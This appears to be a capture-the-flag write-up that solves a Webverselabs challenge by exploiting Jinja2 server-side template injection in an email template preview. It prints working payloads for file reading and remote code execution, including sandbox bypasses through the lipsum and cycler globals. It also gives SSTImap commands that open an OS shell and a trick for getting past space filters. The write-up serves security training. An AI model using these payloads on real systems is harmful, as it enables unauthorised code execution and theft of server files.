Webverselabs Quoted Challenge SSTI
Scenario :
Quoted is a four-person team out of Edinburgh who built the tool they wished existed: a calm, opinionated home for the sentences you underline on your Kindle, save in Pocket, or pull out of an RSS feed. The weekly digest is the main product loop — Sunday morning, a single email with six highlights you’d otherwise forget. Power-users kept asking to rearrange the layout, so Cate (their backend lead) shipped a small templating surface in /settings/digest-template last quarter and went to some lengths to lock it down before launch. She read the Jinja2 sandbox docs, denied the obvious class-walk attributes, and called it done. The QA tasks for that PR were closed in an hour.
Solution :
We first create an account to enumerate the application further, as usual we browse it like a normal user then check Burp’s history to check the different requests made to the server .
We see that we have the possibility to Preview our Custom emails :
If we check Burp’s History :
The Preview botton sends a POST request to the server containing whatever we typed inside the Template Body as a parameter (it just encodes it before sending it).
To be fair the use of brackets is already a huge hint that a Server side template is being used .
Templates are used to dynamically render content by injecting variables into HTML pages . BUT when user input is embedded directly into them without sanitization, it leads to SSTI (Server-Side Template Injection), a vulnerability that allows an attacker to inject and run malicious code on the server.
I already have a detailed section on my Web_App methdology for SSTI injections that i will be following :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
1
2
3
4
5
# Detection payload:
${7*7}
{{7*7}}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/
Exploitation : Jinja2
1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Exploitation : Twig
1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}
# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}
# 3/ RCE :
{{ ['id'] | filter('system') }}
Automation :
1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
Now first i injected a simple payload 7*7 and based on the response we would know wether or not our code was executed and if we have an SSTI or not , if we get 49 rendered to us this means we got our code executed .
After that based on the Response we get from the server , we would know which Engine is being used . We will follow this diagram from Payload All the Things .
Now back to our Burp request :
We see that we get a 49 which means the parameter is vulnerable to an SSTI.
Now we can move to see which engine is being used , to save time i injected the payloads for Jinja2 first , if it won’t work then that will confirm it is Twig .
We get detailed information about the engine , which proves Jinja is being used .
We can use the LFI payload to try and read a specific file.
The payload didn’t work at first , so i tried listing the available classes to see which one we can use for the LFI :
But we got a Security Error. Instead of enumerating, we can try to brute-force our way in by testing common Jinja2 built-in globals:
1
2
3
4
5
6
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }} : This one didn't work .
{{ lipsum.__globals__["os"].popen("cat /etc/passwd").read() }} : Worked Perfectly .
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }} : Worked as well .
This confirms that the sandbox restricts attribute access on primitive types like strings, but overlooks Jinja2’s built-in globals such as lipsum and cycler, which still expose os through their globals giving us our LFI.
We can also try to read the Flag by using our RCE payload since it worked without any issues.
Whenever we get a space issue just replace it with ${IFS} and that should bypass the space filters.
That was all for this challenge, see you in the next one.